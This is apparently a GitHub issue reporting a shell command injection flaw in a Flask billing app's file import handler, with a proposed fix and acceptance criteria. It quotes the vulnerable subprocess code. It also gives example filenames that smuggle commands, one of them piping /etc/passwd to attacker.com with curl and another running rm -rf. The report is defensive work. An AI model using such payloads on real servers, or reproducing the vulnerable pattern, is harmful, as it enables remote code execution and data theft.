Skip to content

[Security][Critical] Shell Command Injection via Unsanitized Filename in ImportHandler, RCE Risk on Government Billing Server #40

@Mandalorian7773

Description

@Mandalorian7773

Ticket Contents (Description):
The import/export endpoint in Website/route_handlers/ImportHandler.py directly interpolates a user-supplied filename into a shell command via subprocess.getoutput() without any sanitization. This allows an attacker to upload a file with a crafted filename (e.g. invoice.xlsx; curl https://attacker.com/$(cat /etc/passwd)) and achieve arbitrary remote code execution on the server. For a government billing platform handling procurement and financial data, this is a pre-authentication critical vulnerability that must be fixed before any public deployment.


Goals & Mid-Point Milestone:

  • Identify all usages of subprocess.getoutput / subprocess.call with user-controlled input across the codebase
  • Replace shell=True / string-interpolated subprocess calls with argument-list form (subprocess.run([...], shell=False))
  • Apply werkzeug.utils.secure_filename() to sanitize uploaded filenames before any path construction
  • Add file extension allowlist validation (reject anything not in ['.xlsx', '.csv'])
  • Add a regression test that attempts a shell-injection filename and asserts it is rejected
  • Goals achieved by mid-point: all subprocess calls patched, secure_filename applied, basic test in place

Implementation Details:
Current vulnerable code in Website/route_handlers/ImportHandler.py (~lines 41–50):

# VULNERABLE
fname = upload_file.filename
fullfname = f"excelinterop/tmp/{fname}"
subprocess.getoutput(f"php {cmdname} {fullfname}")

Proposed fix:

from werkzeug.utils import secure_filename
import subprocess, os

ALLOWED_EXTENSIONS = {'.xlsx', '.csv'}

fname = secure_filename(upload_file.filename)
if not any(fname.endswith(ext) for ext in ALLOWED_EXTENSIONS):
    abort(400, "Invalid file type")

fullfname = os.path.join("excelinterop/tmp", fname)
subprocess.run(["php", cmdname, fullfname], check=True, timeout=30)

Key changes:

  • secure_filename() strips path separators and shell metacharacters from the filename
  • subprocess.run() with a list argument never passes input to a shell — each argument is a literal string
  • Extension allowlist prevents non-spreadsheet files from reaching the PHP processor
  • timeout=30 prevents indefinite hangs from malicious inputs

Tech used: Python, Flask, Werkzeug


Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions

Organisation Name: NSUT x SEETA x AIC

Domain: Financial Inclusion

Tech Skills Needed: Python, Flask, RESTful APIs

Mentor(s): @seetadev @aspiringsecurity @prithagupta

Category: Security / Bug


Setup/Installation:

cd Website
pip install -r requirements.txt
python main.py
# Reproduce by POSTing a crafted filename to the import endpoint

Expected Outcome:
The import endpoint rejects any filename containing shell metacharacters or path traversal sequences. A file named foo; echo pwned is sanitized to foo echo pwned (or rejected) before reaching subprocess.run. No shell is ever invoked with user-controlled string content. All existing valid .xlsx and .csv imports continue to work correctly.


Acceptance Criteria:

  • secure_filename() is applied to all uploaded filenames before path construction
  • subprocess.getoutput() with string interpolation is fully removed from the codebase
  • Uploading exploit; rm -rf /tmp/test as a filename returns HTTP 400
  • Valid .xlsx file upload and processing still works end-to-end
  • No new shell=True subprocess calls are introduced

Mockups/Wireframes: N/A — backend security fix, no UI changes required

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions